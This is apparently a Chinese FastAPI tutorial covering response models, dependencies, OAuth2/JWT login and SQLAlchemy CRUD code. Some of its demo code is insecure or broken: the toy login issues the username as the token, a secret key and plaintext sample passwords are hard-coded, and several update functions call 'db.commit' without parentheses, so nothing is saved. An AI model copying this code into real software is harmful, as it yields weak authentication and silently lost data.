+ return {"user_agent": user_agent, "x_token": x_token}
+
需要注意的是, 第二个参数就是普通的 Header 参数, 只有将参数名称设置为 user_agent 时才能正确接收到 user_agent
需要注意的是, 设置了 *convert_underscores=True
的话发请求的时候 Header 中的相应参数要使用短横线而非下划线, 如 user-agent, x-token, 否则会无法正确接收到信息
使用 pydantic.BaseModel
派生子类创建响应模型类, 在写路由时使用 response_model=xxx
来指定 xxx
为响应模型, 这样返回的响应就是一个 xxx
实例
class UserBase(BaseModel):
+ username: str
+ email: EmailStr
+ mobile: str = "10086"
+ address: str = None
+ full_name: Optional[str] = None
+
+class UserIn(UserBase):
+ """用于创建 User 对象
+ 用户创建时需要给出 password
+ 但是访问用户时不应当返回 password
+ """
+ password: str
+
+class UserOut(UserBase):
+ pass
+
+users = {
+ "user01": {"username": "user01", "password": "123123", "email": "user01@example.com"},
+ "user02": {"username": "user02", "password": "123456", "email": "user02@example.com", "mobile": "110"}
+}
+
+# 使用响应模型
+@app04.post("/response_model/", response_model=UserOut, response_model_exclude_unset=True)
+async def response_model(user: UserIn):
+ """
+ response_model_exclude_unset=True 表示默认值不包含在响应中, 仅包含实际给的值,
+ 如果实际给的值与默认值相同也会包含在响应中
+ """
+ print(user.password) # password不会被返回
+ # return user
+ return users["user02"]
+
@app04.post(
+ "/response_model/attributes",
+ # response_model=UserOut,
+ # response_model=Union[UserIn, UserOut], # 取并集(也就是两个类的属性都有)
+ response_model=List[UserOut],
+ # 包含某些字段, 这里的 mobile 会被下面 exclude 覆盖掉
+ # response_model_include=["username", "email", "mobile"],
+ response_model_include=["username", "email"], # 包含某些字段
+ response_model_exclude=["mobile"] # 排除掉某些字段
+)
+async def response_model_attributes(user: UserIn):
+ """response_model_include列出需要在返回结果中包含的字段
+ response_model_exclude列出需要在返回结果中排除的字段
+ """
+ # del user.password # Union[UserIn, UserOut]后,删除password属性也能返回成功
+ # return user
+ return [user, user]
+
响应模型可以使用单个响应模型类, 也可以使用模型类并集, 模型类列表;
响应模型亦可以进行特定字段的选取与排除
比如这种响应:
首先这是从数据库中获取到的数据加上一些修饰得到的
实现这种需求的两种方式:
# 引入 jsonable_encoder
+from fastapi.encoders import jsonable_encoder
+from fastapi.responses import JSONResponse
+
+staffs = crud.read_staff_by_page(db, page, pageSize)
+staffs = list(jsonable_encoder(staffs))
+return JSONResponse(content={
+ "code":0,
+ "message":"ok",
+ "result":{
+ "items":staffs,
+ "total": len(staffs)
+ },
+ "type":"success"
+})
+
先用 pydantic.BaseModel
和 staff schema
封装一个响应模型类
# 虚拟一个默认员工
+default_staff = {
+ "sid": 0,
+ "sname": "咸鱼型233",
+ "did": 0
+}
+
+class ResultSchema(BaseModel):
+ """结果类"""
+ items: List[Staff] = [Staff(**default_staff)]
+ total: int = len(items)
+
+# StaffListGetResultModel
+class StaffListGetResultModel(BaseModel):
+ """员工列表获取结果类
+ :param items: 员工列表; 默认值: [default_staff]
+ :param total: 员工总数; 默认值: 1
+ """
+ code: int = 0
+ message: str = "ok"
+ result: ResultSchema = ResultSchema(**default_staff)
+ type: str = "success"
+
然后再返回需要从数据库中读取的数据以及默认值:
# 查询 page 页, 页大小为 pageSize 的员工信息
+@router.get(
+ "/getStaffByPage/",
+ summary="分页按条目获取员工信息",
+ response_model= schema.StaffListGetResultModel,
+ response_model_exclude_unset=False,
+)
+async def get_staff_by_page(
+ page: int = 1,
+ pageSize: int = 10,
+ db:Session = Depends(get_db),
+):
+ """分页按条目获取员工信息
+ :param page: 页码
+ :param pageSize: 页大小
+ :param db: 数据库连接
+ :param response_model: 返回结果类型: schema.StaffListGetResultModel
+ :param response_model_exclude_unset: 是否排除未设置的字段, 表示默认值不包含在响应中, 仅包含实际给的值,
+ 如果实际给的值与默认值相同也会包含在响应中
+ """
+ staffs = crud.read_staff_by_page(db, page, pageSize)
+ return {
+ "result":{
+ "items":staffs,
+ "total": len(staffs)
+ },
+ }
+
在路由中通过 status_code
进行指定, 其值为整型, 可以通过 status.HTTP_xx_xx
获得名称上的提示
@app04.post("/status_code", status_code=200)
+async def status_code():
+ """返回status_code: 200"""
+ return {"status_code": 200}
+
+
+@app04.post("/status_attribute", status_code=status.HTTP_200_OK)
+async def status_attribute():
+ """返回 status.HTTP_200_OK
+ """
+ print(type(status.HTTP_200_OK))
+ return {"status_code": status.HTTP_200_OK}
+
引入 fastapi.Form
用于处理表单数据
# from fastapi import Form # 用于处理表单数据
+
+@app04.post("/login/")
+async def login(username: str = Form(...), password: str = Form(...)): # 定义表单参数
+ """
+ Form(...) 表示参数为必填项
+ 用Form类需要pip install python-multipart;
+ Form类的元数据和校验方法类似Body/Query/Path/Cookie
+ """
+ return {"username": username}
+
引入 fastapi.File & UploadFile
, 路由函数参数中使用 File
和 UploadFile
来注解参数
"""Request Files 单文件、多文件上传及参数详解"""
+# from fastapi import (
+# File, # 文件处理
+# UploadFile, # 用于处理文件上传
+# )
+
+@app04.post("/file")
+async def file_(file: bytes = File(...)):
+ """
+ 如果要上传多个文件 files: List[bytes] = File(...)
+ 使用File类 文件内容会以bytes的形式读入内存
+ 适合于上传小文件
+ """
+ return {"file_size": len(file)}
+
+
+@app04.post("/upload_files")
+async def upload_files(files: List[UploadFile] = File(...)):
+ """
+ 如果要上传单个文件 file: UploadFile = File(...)
+ 使用 UploadFile 类的优势:
+ 1.文件存储在内存中,使用的内存达到阈值后,将被保存在磁盘中
+ 2.适合于图片、视频大文件
+ 3.可以获取上传的文件的元数据,如文件名,创建时间等
+ 4.有文件对象的异步接口
+ 5.上传的文件是Python文件对象, 可以使用write(), read(), seek(), close()操作
+ """
+ for file in files:
+ contents = await file.read()
+ print(contents)
+ return {"filename": files[0].filename, "content_type": files[0].content_type}
+
静态文件一般放在 static
文件夹中, 需要在 main app
(而非 APIRouter
分路由) 中进行挂载方可使用
import os # 用于拼接路径
+
+app = FastAPI(
+ title='FastAPI Tutorial and Coronavirus Tracker API Docs',
+ description='FastAPI教程 \\
+ 新冠病毒疫情跟踪器API接口文档, \\
+ 项目代码:https://github.com/liaogx/fastapi-tutorial',
+ version='1.0.0',
+ docs_url='/docs',
+ redoc_url='/redocs',
+)
+
+# mount表示将某个目录下一个完全独立的应用挂载过来,这个不会在API交互文档中显示
+# .mount()不要在分路由APIRouter().mount()调用,模板会报错
+static_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './coronavirus/static'))
+app.mount(path='/static', app=StaticFiles(directory=static_path), name='static')
+
"""Path Operation Configuration 路径操作配置"""
+# 响应的状态码, 标签, 相应的描述符, 参数类型, 参数名称, 参数描述等等
+
+@app04.post(
+ "/path_operation_configuration", # URL 地址
+ response_model=UserOut, # 响应的结果类型
+ # tags=["Path", "Operation", "Configuration"], # 标签, 在 doc 中会按照标签进行分类展示
+ summary="This is summary", # 接口描述, 在 doc 中会在路径后面显示
+ description="This is description", # 描述, 在 doc 中会在接口描述下面显示
+ response_description="This is response description", # 响应描述, 在 doc 中会在响应结果下面显示
+ # deprecated=True, # 是否弃用
+ status_code=status.HTTP_200_OK # 响应状态码
+)
+async def path_operation_configuration(user: UserIn):
+ """
+ Path Operation Configuration 路径操作配置
+ :param user: 用户信息
+ :return: 返回结果
+ """
+ return user.dict()
+
# FastAPI 配置项
+app = FastAPI(
+ # 标题
+ title='FastAPI Tutorial and Coronavirus Tracker API Docs',
+ # 描述
+ description='FastAPI教程 \\
+ 新冠病毒疫情跟踪器API接口文档, \\
+ 项目代码:https://github.com/liaogx/fastapi-tutorial',
+ # 版本
+ version='1.0.0',
+ # Swagger UI 文档地址
+ docs_url='/docs',
+ # ReDoc 文档地址
+ redoc_url='/redocs',
+)
+
引入 fastapi.HTTPException
后在路由函数中进行使用
########## Handling Errors 错误处理 ##########
+# HTTP Exception 以及自定义异常处理器
+# from fastapi import HTTPException # 用于处理HTTP异常
+
+@app04.get("/http_exception")
+async def http_exception(city: str):
+ """默认的异常处理测试
+ :param city: 城市名称
+ :return: 返回城市名称
+ 若 city 不是 Beijing 则抛出 404 错误
+ """
+ if city != "Beijing":
+ raise HTTPException(status_code=404, detail="City not found!", headers={"X-Error": "Error"})
+ return {"city": city}
+
在 main app
中进行异常处理的重写
from fastapi.exceptions import RequestValidationError # 请求校验错误处理
+from fastapi.responses import PlainTextResponse # 文本形式返回 response
+from starlette.exceptions import HTTPException as StarletteHTTPException # HTTP 异常处理
+
+
+@app.exception_handler(StarletteHTTPException) # 重写HTTPException异常处理器
+async def http_exception_handler(request, exc):
+ """
+ 使用文本形式返回异常信息
+ :param request: request 请求 (这个参数不能省)
+ :param exc: 错误
+ :return:
+ """
+ return PlainTextResponse(str(exc.detail), status_code=exc.status_code)
+#
+#
+@app.exception_handler(RequestValidationError) # 重写请求验证异常处理器
+async def validation_exception_handler(request, exc):
+ """
+ :param request: 这个参数不能省
+ :param exc:
+ :return:
+ """
+ return PlainTextResponse(str(exc), status_code=400)
+
重写前HTTP异常:
重写后HTTP异常:
重写前请求异常:
重写后请求异常:
"依赖注入" 是指在编程中, 为保证代码成功运行, 先导入或声明其所需要的 "依赖", 如子函数, 数据库连接等
FastAPI 的兼容性
将函数作为依赖进行注入操作(query)
from fastapi import (
+ Depends, # 引入依赖
+)
+
+########## Dependencies 创建、导入和声明依赖 ##########
+
+
+async def common_parameters(q: Optional[str] = None, page: int = 1, limit: int = 100):
+ """公共函数测试"""
+ return {"q": q, "page": page, "limit": limit}
+
+
+@app05.get("/dependency01")
+async def dependency01(commons: dict = Depends(common_parameters)):
+ """使用 Depends 进行依赖注入
+ """
+ return commons
+
+
+@app05.get("/dependency02")
+def dependency02(commons: dict = Depends(common_parameters)):
+ """可以在async def中调用def依赖
+ 也可以在def中导入async def依赖
+ """
+ return commons
+
# 假设这是一个从数据库中获取的数据
+fake_items_db = [{"item_name": "Foo"}, {"item_name": "Bar"}, {"item_name": "Baz"}]
+
+
+class CommonQueryParams:
+ def __init__(self, q: Optional[str] = None, page: int = 1, limit: int = 100):
+ self.q = q
+ self.page = page
+ self.limit = limit
+
+
+@app05.get("/classes_as_dependencies")
+# async def classes_as_dependencies(commons: CommonQueryParams = Depends(CommonQueryParams)):
+# async def classes_as_dependencies(commons: CommonQueryParams = Depends()):
+async def classes_as_dependencies(commons=Depends(CommonQueryParams)):
+ """
+ 使用 Depends 创建类作为依赖项
+ """
+ response = {}
+ if commons.q:
+ response.update({"q": commons.q})
+ # 切片操作
+ items = fake_items_db[commons.page - 1 : commons.page + commons.limit]
+ response.update({"items": items})
+ return response
+
+
需要注意的是, 要与 Pydantic 派生类型作为参数相区分, 使用 pydantic.BaseModel
子类作为参数在函数请求体中, 而类作为依赖项进行注入作为 query
参数
########## Sub-dependencies 子依赖 ##########
+
+
+def query(q: Optional[str] = None):
+ return q
+
+
+def sub_query(q: str = Depends(query), last_query: Optional[str] = None):
+ if not q:
+ return last_query
+ return q
+
+
+@app05.get("/sub_dependency")
+async def sub_dependency(final_query: str = Depends(sub_query, use_cache=True)):
+ """use_cache默认是True,
+ 表示当多个依赖有一个共同的子依赖时,
+ 每次request请求只会调用子依赖一次,
+ 多次调用将从缓存中获取
+ """
+ return {"sub_dependency": final_query}
+
query
是子依赖
########## Dependencies in path operation decorators 路径操作装饰器中的多依赖 ##########
+
+
+async def verify_token(x_token: str = Header(...)):
+ """
+ 没有返回值的子依赖
+ """
+ if x_token != "fake-super-secret-token":
+ raise HTTPException(status_code=400, detail="X-Token header invalid")
+
+
+async def verify_key(x_key: str = Header(...)):
+ """
+ 有返回值的子依赖,但是返回值不会被调用
+ """
+ if x_key != "fake-super-secret-key":
+ raise HTTPException(status_code=400, detail="X-Key header invalid")
+ return x_key
+
+
+@app05.get("/dependency_in_path_operation",
+ dependencies=[Depends(verify_token), Depends(verify_key)]
+) # 这时候不是在函数参数中调用依赖,而是在路径操作中调用依赖
+async def dependency_in_path_operation():
+ return [
+ {"user": "user01"},
+ {"user": "user02"}
+ ]
+
可以用于校验 key 之类的, 在 Header 中包含 key, 后端路径操作装饰器中导入依赖
假设现在有一个子依赖需要在应用的任何地方使用(或者某个组件内部的所有地方), 那么可以使用全局依赖
在 APIRouter
中使用:
# 直接在 APIRouter 定义文件中使用:
+app05 = APIRouter(dependencies=[Depends(verify_token), Depends(verify_key)])
+
在 main App
中使用:
# 引入 chapter05 中的全剧依赖 verify_token 和 verify_key
+from .chapter05 import verify_token, verify_key
+from fastapi import (
+ FastAPI,
+ Request,
+ Depends # 引入依赖
+)
+
+# FastAPI 配置项
+app = FastAPI(
+ # 标题
+ title='FastAPI Tutorial and Coronavirus Tracker API Docs',
+ # 描述
+ description='FastAPI教程 \\
+ 新冠病毒疫情跟踪器API接口文档, \\
+ 项目代码:https://github.com/liaogx/fastapi-tutorial',
+ # 版本
+ version='1.0.0',
+ # Swagger UI 文档地址
+ docs_url='/docs',
+ # ReDoc 文档地址
+ redoc_url='/redocs',
+ dependencies = [Depends(verify_token), Depends(verify_key)]
+)
+
yield
关键字在依赖中的使用
实际上使用最多的就是 get_db
:
# 引入数据库
+from ..database import SessionLocal, engine
+
+# Dependency (关键字 yield 可用于共享连接)
+def get_db():
+ db = SessionLocal()
+ try:
+ yield db
+ finally:
+ db.close()
+
在某些情况下我们可能需要将数据类型(比如Pydantic model)转换为 JSON 兼容的数据类型(如 dict, list 等等)
例如, 如果我们需要将他存入数据库, FastAPI 提供了 jsonable_encoder()
函数
jsonable_encoder
我们假设当前我们有一个只接受 JSON 兼容数据的数据库 fake_db
.
例如, 它不接受 datetime
对象, 因为这些对象与 JSON 不兼容
所以, datetime
对象必须转化为包含 ISO 格式数据的 str
同样, 这个数据库不会接收到 Pydantic model(带有属性的对象), 只接收 dict
我们可以使用 jsonable_encoder
, 它接收一个对象, 比如 Pydantic model, 并返回一个兼容 JSON 的版本
在这个实例中, 它将 Pydantic 模型转化为 dict, 将 datetime
转化为 str
;
调用它的结果可以用 Python 标准 json.dumps ()
进行编码。
它不返回包含 JSON 格式数据(以字符串形式)的大型 str
。它返回一个 Python 标准数据结构(例如 dict
) ,其值和子值都与 JSON 兼容。
from fastapi.security import (
+ OAuth2PasswordBearer, # OAuth2的认证方式
+)
+
+########## OAuth2 密码模式和 FastAPI 的 OAuth2PasswordBearer ##########
+
+"""
+OAuth2PasswordBearer是接收URL作为参数的一个类:
+客户端会向该URL发送username和password参数, 然后得到一个Token值
+OAuth2PasswordBearer并不会创建相应的URL路径操作,
+只是指明客户端用来请求Token的URL地址
+当请求到来的时候, FastAPI会检查请求的Authorization头信息,
+如果没有找到Authorization头信息,或者头信息的内容不是Bearer token,
+它会返回401状态码(UNAUTHORIZED)
+"""
+
+# 请求Token的URL地址 http://127.0.0.1:8000/chapter06/token
+oauth2_schema = OAuth2PasswordBearer(tokenUrl="/chapter06/token")
+
+
+@app06.get("/oauth2_password_bearer")
+async def oauth2_password_bearer(token: str = Depends(oauth2_schema)):
+ return {"token": token}
+
########## 基于 Password 和 Bearer token 的 OAuth2 认证 ##########
+
+# 模拟数据库信息
+fake_users_db = {
+ "john snow": {
+ "username": "john snow",
+ "full_name": "John Snow",
+ "email": "johnsnow@example.com",
+ "hashed_password": "fakehashedsecret",
+ "disabled": False,
+ },
+ "alice": {
+ "username": "alice",
+ "full_name": "Alice Wonderson",
+ "email": "alice@example.com",
+ "hashed_password": "fakehashedsecret2",
+ "disabled": True,
+ },
+}
+
+
+def fake_hash_password(password: str):
+ """对密码进行加密"""
+ return "fakehashed" + password
+
+
+class User(BaseModel):
+ """用户信息schema"""
+ username: str
+ email: Optional[str] = None
+ full_name: Optional[str] = None
+ disabled: Optional[bool] = None
+
+
+class UserInDB(User):
+ hashed_password: str
+
+
+@app06.post("/token")
+async def login(form_data: OAuth2PasswordRequestForm = Depends()):
+ """登录操作
+ 密码加密使用前缀字符串的形式
+ token使用username
+ """
+ user_dict = fake_users_db.get(form_data.username)
+ if not user_dict:
+ raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Incorrect username or password-用户不存在")
+ user = UserInDB(**user_dict)
+ hashed_password = fake_hash_password(form_data.password)
+ if not hashed_password == user.hashed_password:
+ print(hashed_password, user.hashed_password)
+ raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Incorrect username or password-密码错误")
+ return {"access_token": user.username, "token_type": "bearer"}
+
+
+def get_user(db, username: str):
+ """获取用户信息"""
+ if username in db:
+ user_dict = db[username]
+ return UserInDB(**user_dict)
+
+
+def fake_decode_token(token: str):
+ """解码token"""
+ user = get_user(fake_users_db, token)
+ return user
+
+
+async def get_current_user(token: str = Depends(oauth2_schema)):
+ user = fake_decode_token(token)
+ if not user:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid authentication credentials",
+ # OAuth2的规范,如果认证失败,请求头中返回“WWW-Authenticate”
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ return user
+
+
+async def get_current_active_user(current_user: User = Depends(get_current_user)):
+ if current_user.disabled:
+ raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Inactive user")
+ return current_user
+
+
+@app06.get("/users/me")
+async def read_users_me(current_user: User = Depends(get_current_active_user)):
+ """
+ 活跃用户返回用户信息
+ 不活跃用户返回 Inactive user
+ """
+ return current_user
+
+
login
执行逻辑:
# 先更新下模拟数据库吗修改下 hash 密码使其更接近真实值:
+fake_users_db.update({
+ "john snow": {
+ "username": "john snow",
+ "full_name": "John Snow",
+ "email": "johnsnow@example.com",
+ "hashed_password": "$2b$12$EixZaYVK1fsbw1ZfbX3OXePaWxn96p36WQoeG6Lruj3vjPGga31lW",
+ "disabled": False,
+ }
+})
+# 生成密钥 openssl rand -hex 32
+SECRET_KEY = "09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7"
+# 加密算法
+ALGORITHM = "HS256"
+# 访问令牌过期分钟
+ACCESS_TOKEN_EXPIRE_MINUTES = 30
+
# from datetime import (
+# datetime,
+# timedelta
+# )
+# from jose import (
+# JWTError,
+# jwt
+# )
+# from passlib.context import CryptContext # 用于对用户传过来的密码进行加密
+
+pwd_context = CryptContext(
+ schemes=["bcrypt"], # 密码加密算法使用 bcrypt
+ deprecated="auto"
+)
+
# 用于接收用户名密码, 创建 token 的接口
+oauth2_schema = OAuth2PasswordBearer(tokenUrl="/chapter06/jwt/token")
+
+
+def verity_password(plain_password: str, hashed_password: str):
+ """对密码进行校验"""
+ return pwd_context.verify(plain_password, hashed_password)
+
+
+def jwt_get_user(db, username: str):
+ """获取当前用户并返回解构信息
+ """
+ if username in db:
+ user_dict = db[username]
+ return UserInDB(**user_dict)
+
+
+def jwt_authenticate_user(db, username: str, password: str):
+ """
+ 验证用户是否存在以及
+ 验证用户名和密码是否匹配
+ """
+ user = jwt_get_user(db=db, username=username)
+ if not user:
+ return False
+ if not verity_password(plain_password=password, hashed_password=user.hashed_password):
+ return False
+ return user
+
+
+def create_access_token(data: dict, expires_delta: Optional[timedelta] = None):
+ """创建token
+ :param data: 包含用户信息的字典
+ :param expires_delta: token 过期时间
+ copy 一份用户信息用户编码
+
+ """
+ to_encode = data.copy()
+ # 如果传入了过期时间就更新下过期时间: 当前时间+过期时间
+ if expires_delta:
+ expire = datetime.utcnow() + expires_delta
+ else:
+ # 没传入过期时间的话默认设置过期时间为 15 min
+ expire = datetime.utcnow() + timedelta(minutes=15)
+ to_encode.update({"exp": expire})
+ # 创建编码后的 jwt
+ encoded_jwt = jwt.encode(
+ claims=to_encode,
+ key=SECRET_KEY,
+ algorithm=ALGORITHM
+ )
+ return encoded_jwt
+
+
+@app06.post("/jwt/token", response_model=Token)
+async def login_for_access_token(form_data: OAuth2PasswordRequestForm = Depends()):
+ """创建并返回 Token
+ :param form_data: 表单数据
+ """
+ # jwt 校验
+ user = jwt_authenticate_user(db=fake_users_db, username=form_data.username, password=form_data.password)
+ # 认证失败则抛出异常: 用户名或密码不正确
+ if not user:
+ raise HTTPException(
+ status.HTTP_401_UNAUTHORIZED,
+ detail="Incorrect username or password",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ # 获取 token 过期时间
+ access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)
+ # 创建 token
+ access_token = create_access_token(
+ data={"sub": user.username}, expires_delta=access_token_expires
+ )
+ return {"access_token": access_token, "token_type": "bearer"}
+
+
+async def jwt_get_current_user(token: str = Depends(oauth2_schema)):
+ """获取当前用户
+ :param token: jwt token
+ """
+ # 定义错误返回信息
+ credentials_exception = HTTPException(
+ status.HTTP_401_UNAUTHORIZED,
+ detail="Could not validate credentials",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ try:
+ # jwt 解码
+ payload = jwt.decode(token=token, key=SECRET_KEY, algorithms=[ALGORITHM])
+ # 获取解码后的用户名
+ username = payload.get("sub")
+ # 如果用户名不存在则抛出异常
+ if username is None:
+ raise credentials_exception
+ # 如果解码失败则抛出异常
+ except JWTError:
+ raise credentials_exception
+ user = jwt_get_user(db=fake_users_db, username=username)
+ if user is None:
+ raise credentials_exception
+ return user
+
+
+async def jwt_get_current_active_user(current_user: User = Depends(jwt_get_current_user)):
+ """获取活跃用户"""
+ if current_user.disabled:
+ raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Inactive user")
+ return current_user
+
+
+@app06.get("/jwt/users/me")
+async def jwt_read_users_me(current_user: User = Depends(jwt_get_current_active_user)):
+ """获取当前用户信息"""
+ return current_user
+
+
示例项目结构:
sql_app
__init__.py
crud.py
database.py
main.py
models.py
schemas.py
__init__.py
是个空文件,它只是为了让 Python 识别这是一个 module。
首先要装下 SQLAlchemy
库
pip install sqlalchemy
+
编辑 database.py
文件
from sqlalchemy import create_engine
+from sqlalchemy.ext.declarative import declarative_base
+from sqlalchemy.orm import sessionmaker
+
SQLALCHEMY_DATABASE_URL = "sqlite:///E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/ViteLearningBackend.db"
+# SQLALCHEMY_DATABASE_URL = "postgresql://user:password@postgresserver/db"
+
在本次示例中, 使用 SQLite 作为数据库, 在 E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/
目录下有一个 ViteLearningBackend.db
数据库文件, 因此 URL 最后部分是 E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/ViteLearningBackend.db
如果使用 PostgreSQL
的话可以如注释这般使用
使用其他数据库的话把 sqlite
字段相应的换成 MySQL
, mariadb
等即可
engine = create_engine(
+ SQLALCHEMY_DATABASE_URL, connect_args={"check_same_thread": False}
+)
+
connect_args={"check_same_thread": False}
字段只有在使用 SQLite
时才需要
SQLite 默认只允许一个线程通信, 假设每个线程处理一个独立的请求
这是为了防止意外地为不同请求共享相同的 connection
但是在 FastAPI 的函数中, 不止一个 thread 可以向 database 发起请求, 所以我们需要让 SQLIte 知道它应当通过
connect_args = {"check_same_thread": False}
允许这些 thread 向数据库发请求
SessionLocal 类的每个实例都是一个 database session, 不过该类本身并非 database session(数据库会话)
但是一旦我们创建了一个 SessionLocal 类的示例, 那么这个实例将会成为实际的 database session
我们将其命名为 SessionLocal 以与从 SQLAlchemy 中引入的 Session 相区分
使用 sessionmaker 来创建一个 SessionLocal 类
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
+
使用 declarative_base 来返回一个类赋给 Base
后面我们会继承这个类来创建每个数据库的 model 和 class(ORM models)
Base = declarative_base()
+
编辑 models.py
SQLAlchemy 使用术语 "model" 来指代这些与数据库交互的 class 及 instance
不过需要注意的是 Pydantic 也使用术语 "model" 来指代不同的东西, data validation, coversion, documentation classes 以及 instances
从 database.py
引入 Base
类
创建继承于 Base 类的子类
这些子类都是 SQLAlchemy model
from .database import Base
+
+class Admin(Base):
+ __tablename__ = "admin"
+
+class Good(Base):
+__tablename__ = "Good"
+
# 因为这里是直接在 jupyter笔记本里写的, 已经运行过代码块了直接使用 Base 即可
+# from .database import Base
+from tokenize import Double
+from sqlalchemy import Boolean, Column, ForeignKey, Integer, String, FLOAT
+from sqlalchemy.orm import relationship
+
+class Admin(Base):
+ __tablename__ = "admin"
+
+ uid = Column(Integer, primary_key=True, index=True)
+ password = Column(String)
+
+class Good(Base):
+ __tablename__ = "Good"
+
+ GoodID = Column(Integer, primary_key=True, index=True)
+ GoodName = Column(String)
+ GoodPrice = Column(FLOAT)
+
__tablename__
属性告诉 SQLAlchemy 在数据库中为每个 model 使用的表名
创建所有 model 的 attribute
这些 attribute 对应的表示数据库相应表中的一列
我们使用 SQLAlchemy 中的 Column
作为默认值
然后传递一个 SQLAlchemy 类 "type", 作为 Interger
, String
, 或者 Boolean
, 将数据库中的字段类型定义为一个参数
个人写的示例中没有定义外键, 因为后面要加速开发原型, 所以个人示例比较简略
因此这部分搬下官方示例
我们使用 SQLAlchemy ORM 提供的 relationship
来创建 relationship
这将或多或少称为一个 "magic" attribute, 他讲包含与此表关联的其他表的值
当我们从 User
中访问 items
属性时, 比如 my_user.items
, 他将生成一个 Item
SQLAlchemy models 列表(来自 items
表), 其中有一个外键指向 users
表中的这个记录
当访问 my_usr.items
时, SQLAlchemy 实际上会从数据库的 items
表中查询到这些 items并填入这里
当我们访问 Item
中的 owner
属性时, 他将包含来自 users
表的 User
SQLAlchemy model; 他将使用 onwer_id
attribute/column 及其外键来决定从 users
表中获取哪些记录
编辑 schemas.py
为了避免
SQLAlchemy models
和Pydantic models
之间的混淆,我们在models.py
中创建SQLAlchemy models
, 在shcemas.py
中创建Pydantic models
这些
Pydantic models
或多或少地定义了一个"schema"
(一个有效的data shape
)。
因此,这将有助于我们避免在使用二者时可能产生的混淆
创建一个 StaffBase Pydantic model
(或者说 schema
) 一遍在创建和读取数据时由公共属性
然后创建一个 StaffCreate
继承自 StaffBase
在 SQLAlchemy models 中定义属性时使用的是 =
, 并将类型作为参数传给 Column
, 如下:
name = Column(String)
+
然而在 Pydantic models 中使用 :
声明这些类型, 如下:
name: str
+
创建 Pydantic models(schemas), 当从 API 返回数据时, 将在读取数据时使用它
例如, 在创建一个 staff 时我们不知道他的 id 是什么, 但是当读取他(从 API 返回他) 时, 我们已经知道它的 ID
现在, 在 Pydantic models 中为了方便读取, 给 Staff 类添加一个内部的 Config 类
这个 Config 类用于向 Pydantic 提供配置
在 Config 类中, 将 orm_mode 属性设置为 True
需要注意的是使用
=
进行赋值
它不像前面一样使用:
进行类型声明
这是设置一个配置值而非声明一个类型
Pydantic 的 orm-mode 会告诉 Pydantic model 读取数据, 即便它并非是个 dict 而是 ORM model(或者其他任何具有属性的任意对象)
如此一来, 不再只是类似如下操作一样从 dict 中获取类型:
id = data['id']
+
它也会尝试从属性中获取到 id, 如:
id = data.id
+
有了这些, Pydantic model 就和 ORM 兼容了, 并且你可以只在 path 操作中的 response_model
参数中声明它
您将能够返回一个 database model, 并从中读取数据
SQLAlchemy 和许多其他的默认方法是“lazy loading”。
这意味着,例如,它们不会从数据库中获取关系数据,除非您尝试访问将包含该数据的属性。
例如,访问 items 属性:
current_user.items
+
将使 SQLAlchemy 转到 items 表并获取该用户的条目,但不是在此之前。
如果没有 orm_mode,则如果从路径操作返回 SQLAlchemy 模型,它将不包含关系数据。
即使你在你的 Pydantic 模型中声明了这些关系。
但是在 ORM 模式下,由于 Pydantic 本身将尝试从属性访问它需要的数据(而不是假设 dict) ,你可以声明你想要返回的特定数据,它将能够去获取它,甚至是从 ORM。
编辑 crud.py
在这个文件中,我们将使用可重用的函数与数据库中的数据进行交互。
CRUD 来自: Creat(创建)、Read(读取)、Update(更新) 和 Delete(删除)。
'''
+Author: 咸鱼型233
+Date: 2022-04-25 16:35:15
+LastEditors: 咸鱼型233
+LastEditTime: 2022-04-25 20:29:15
+FilePath: \\VbenBackend\\sql_app\\curd.py
+Description:
+Copyright (c) 2022 by 咸鱼型233, All Rights Reserved.
+'''
+'''
+-*- encoding: utf-8 -*-
+@文件 :curd.py
+@时间 :2022/04/18 21:07:48
+@作者 :咸鱼型233
+@说明 :
+'''
+from sqlalchemy.orm import Session
+
+from . import models, schemas
+
+# 通过 id 读取 Staff
+def get_staff(db: Session, id: int):
+ return db.query(models.Staff).filter(models.Staff.id == id).first()
+
+# 通过 staffNo 读取 Staff
+def get_staff_by_staffNo(db: Session, staffNo: str):
+ return db.query(models.Staff).filter(models.Staff.staffNo == staffNo).first()
+
+# 获取所有 Staff
+def get_staffs(db: Session, skip: int = 0, limit: int = 100):
+ return db.query(models.Staff).offset(skip).limit(limit).all()
+
+# 创建 Staff
+def create_staff(db: Session, staff: schemas.StaffCreate):
+ db_staff = models.Staff(**staff.dict())
+ db.add(db_staff)
+ db.commit()
+ db.refresh(db_staff)
+ return db_staff
+
+# 更新 staffNo
+def update_staff_staffNo(db: Session, id: int, staffNo: str):
+ db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
+ db_staff.staffNo = staffNo
+ db.commit()
+ return db_staff
+
+# 更新 name
+def update_staff_name(db: Session, id: int, name: str):
+ db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
+ db_staff.name = name
+ db.commit()
+ return db_staff
+
+# 更新 sex
+def update_staff_sex(db:Session, id: int, sex:str):
+ db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
+ db_staff.sex = sex
+ db.commit
+ return db_staff
+
+# 更新 birthday
+def update_staff_birthday(db:Session, id: int, birthday:str):
+ db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
+ db_staff.birthday = birthday
+ db.commit
+ return db_staff
+
+# 更新 phone
+def update_staff_phone(db:Session, id: int, phone:str):
+ db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
+ db_staff.phone = phone
+ db.commit
+ return db_staff
+
+# 更新 education
+def update_staff_education(db:Session, id: int, education:str):
+ db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
